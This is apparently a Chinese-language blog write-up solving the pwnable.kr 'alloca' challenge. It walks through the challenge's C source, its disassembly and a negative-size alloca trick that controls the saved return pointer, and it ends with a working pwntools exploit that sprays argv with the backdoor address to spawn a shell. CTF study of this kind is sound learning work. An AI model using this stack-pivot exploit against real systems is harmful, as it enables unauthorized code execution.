难得最近比较清闲,大好时间用来找虐最好不过了(误:刷题)。仅有兴趣还是搞不好二进制的,还是多练练基本功来得实在。于是继续 pwnable.kr 之旅,日后将逐渐补充之前做过的一些题目。

alloca 是 [Rokiss] 中的一道题目,这个部分的题目相比第一部分也更有 pwn 的味道。

alloca

题目附带源码 alloca.c,内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void callme() { system("/bin/sh"); }

void clear_newlines() {
  int c;
  do {
    c = getchar();
  } while (c != '\n' && c != EOF);
}

int g_canary;
int check_canary(int canary) {
  int result = canary ^ g_canary;
  int canary_after = canary;
  int canary_before = g_canary;
  printf("canary before using buffer : %d\n", canary_before);
  printf("canary after using buffer : %d\n\n", canary_after);
  if (result != 0) {
    printf("what the ....??? how did you messed this buffer????\n");
  } else {
    printf("I told you so. its trivially easy to prevent BOF :)\n");
    printf("therefore as you can see, it is easy to make secure software\n");
  }
  return result;
}

int size;
char *buffer;
int main() {

  printf("- BOF(buffer overflow) is very easy to prevent. here is how to.\n\n");
  sleep(1);
  printf("   1. allocate the buffer size only as you need it\n");
  printf("   2. know your buffer size and limit the input length\n\n");

  printf("- simple right?. let me show you.\n\n");
  sleep(1);

  printf("- whats the maximum length of your buffer?(byte) : ");
  scanf("%d", &size);
  clear_newlines();

  printf("- give me your random canary number to prove there is no BOF : ");
  scanf("%d", &g_canary);
  clear_newlines();

  printf("- ok lets allocate a buffer of length %d\n\n", size);
  sleep(1);

  buffer = alloca(size + 4); // 4 is for canary

  printf("- now, lets put canary at the end of the buffer and get your data\n");
  printf(
      "- don't worry! fgets() securely limits your input after %d bytes :)\n",
      size);
  printf("- if canary is not changed, we can prove there is no BOF :)\n");
  printf("$ ");

  memcpy(buffer + size, &g_canary, 4); // canary will detect overflow.
  fgets(buffer, size, stdin);          // there is no way you can exploit this.

  printf("\n");
  printf("- now lets check canary to see if there was overflow\n\n");

  check_canary(*((int *)(buffer + size)));
  return 0;
}

接着查看程序的防护机制,仅有 NX 防护。

checksec

结合源码,该程序自己实现了类似 canary 的机制来检测栈溢出。首先利用 alloca 来申请一块 buffer,申请的大小为 size+4,size 受我们控制;接着在 buffer+size 处写入同样受我们控制的 canary,利用 fgets 从标准输入读取内容,写入到 buffer。最后调用 check_canary 来检查 canary 是否发生了变化。

除此之外,可见代码中留了一个后门函数 callme,可直接 getshell。所以基本思路为修改 __libc_start_main 保存的返回地址为 callme 的地址,当 main 函数返回时跳转到 shell。

alloc 这个函数之前并没有见过,容易让人想到 malloc、calloc 等。查阅资料该函数是在栈上申请空间的,即简单将栈顶提升,函数退出时这部分空间自动释放,既然在栈上那就方便多了。但是这里使用 fgets 读取内容并严格限制了读取的字符数,看来直接溢出是不大可能了。

那么,如果 size 是一个负数会怎样呢?查看 alloc 部分反编译的结果如下:

1
2
v3 = alloca(16 * ((size + 34) / 0x10u));
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));

似乎反编译的结果有一些问题,看着不大直观,还是直接看反汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
.text:08048745          mov     eax, ds:size    ; alloca here
.text:0804874A          add     eax, 4
.text:0804874D          lea     edx, [eax+0Fh]
.text:08048750          mov     eax, 10h
.text:08048755          sub     eax, 1
.text:08048758          add     eax, edx
.text:0804875A          mov     ecx, 10h
.text:0804875F          mov     edx, 0
.text:08048764          div     ecx
.text:08048766          imul    eax, 10h
.text:08048769          sub     esp, eax
.text:0804876B          mov     eax, esp
.text:0804876D          add     eax, 0Fh
.text:08048770          shr     eax, 4
.text:08048773          shl     eax, 4
.text:08048776          mov     ds:buffer, eax

拿了一张稿纸算了以下,基本等价于以下的操作:

1
2
esp -= (size + 34)
buffer = esp - size -34

其中大量的运算是将堆栈地址对齐,简单起见就写成了以上的形式 (实则不知道该怎么整,囧)。如果 size 为负数,申请的 buffer 可能会低于当前的栈顶,与正在使用的栈帧重合。但是才发现一个很坑的问题,当 size 为负时,fgets 什么也不读,glibc 中的 fgets 的源码如下,对 size 进行了检查。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
__fortify_function __wur char *
fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
{
  if (__bos (__s) != (size_t) -1)
    {
      if (!__builtin_constant_p (__n) || __n <= 0)
	return __fgets_chk (__s, __bos (__s), __n, __stream);

      if ((size_t) __n > __bos (__s))
	return __fgets_chk_warn (__s, __bos (__s), __n, __stream);
    }
  return __fgets_alias (__s, __n, __stream);
}

那么我们能控制的输入就只剩下 canary 的值了。这个程序比较有趣的是返回地址的保存方式,和 ecx 寄存器有着很大的联系。main 函数结尾如下:

1
2
3
4
.text:08048831          mov     ecx, [ebp-4]
.text:08048834          leave
.text:08048835          lea     esp, [ecx-4]
.text:08048838          retn

而开头如下:

1
2
3
4
5
6
.text:08048663          lea     ecx, [esp+4]
.text:08048667          and     esp, 0FFFFFFF0h
.text:0804866A          push    dword ptr [ecx-4]
.text:0804866D          push    ebp
.text:0804866E          mov     ebp, esp
.text:08048670          push    ecx

对比可知 main 函数的 ebp-4 保存的值减4得到的地址即为返回地址 (说得可能比较绕了),反正想办法先改掉 ebp-4 就对了。程序中有调用 memcpy,本想借助此来修改,但此处的 memcpy 着实有点怪,折腾了许久发现完全不行。参考了网上大佬的 帖子,学习了可以列公式来求 size,此处我用其来证明 memcpy 不行。

1
2
3
4
ebp - 4 = g_canary
esp = ebp
buffer = esp - size - 34
buffer + size = g_canary

很明显以上的条件不成立,不存在这样的size。此处的ebp,esp为 main 函数序言结束时的状态。久久没有思路只能继续参考,原来 check_canary 能够将 g_canary 复制到栈上,check_canary 的反汇编如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.text:080485E1          push    ebp
.text:080485E2          mov     ebp, esp
.text:080485E4          sub     esp, 18h
.text:080485E7          mov     eax, ds:g_canary
.text:080485EC          xor     eax, [ebp+8]
.text:080485EF          mov     [ebp-0xC], eax
.text:080485F2          mov     eax, [ebp+8]
.text:080485F5          mov     [ebp-0x10], eax
.text:080485F8          mov     eax, ds:g_canary
.text:080485FD          mov     [ebp-0x14], eax

第10行的指令将位于 .bss 段的 g_canary 写入到 [ebp-0x14] 中,只需计算 size 即可。我还是以 main 开始的 esp 和 ebp 作为基准进行计算。

1
2
3
ebp - 4 = g_canary
esp = ebp
esp - size - 34 - 0x10 - 4 - 4 - 0x14 = g_canary

此处计算出 size 为 -74,和我参考的帖子得出的 -82 不符,帖子中的计算方式看得不是很懂。接下来进行动态调试,g_canary 设置为 0x12345678,调试到 main 函数结尾:

main结尾

可见 ecx 的值为 0x12345678,esp 为 ecx-4,-74 完全是可以用的。距离控制 eip 还有一步,需要将 callme 的地址 0x080485AB 放置在某个地址,将ecx-4修改为该地址,此处我选用了程序命令行参数的方式。因为aslr的原因栈的地址是随机化的,即使放置大量的参数也不能保证一次命中,即此处选取的 g_canary 的值 0xffb40000 并不能命中存放参数的区域,最终的exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *

callme_addr = 0x080485AB
argv = [p32(callme_addr) * 30000 for i in range(10)]
p = process(argv=argv, executable='/home/alloca/alloca')

p.sendline("-74")
p.sendline("-4980736")
p.interactive()

运气比较好,一次就跑出了flag。这里应该写一个循环的,失败不断重试效果更好。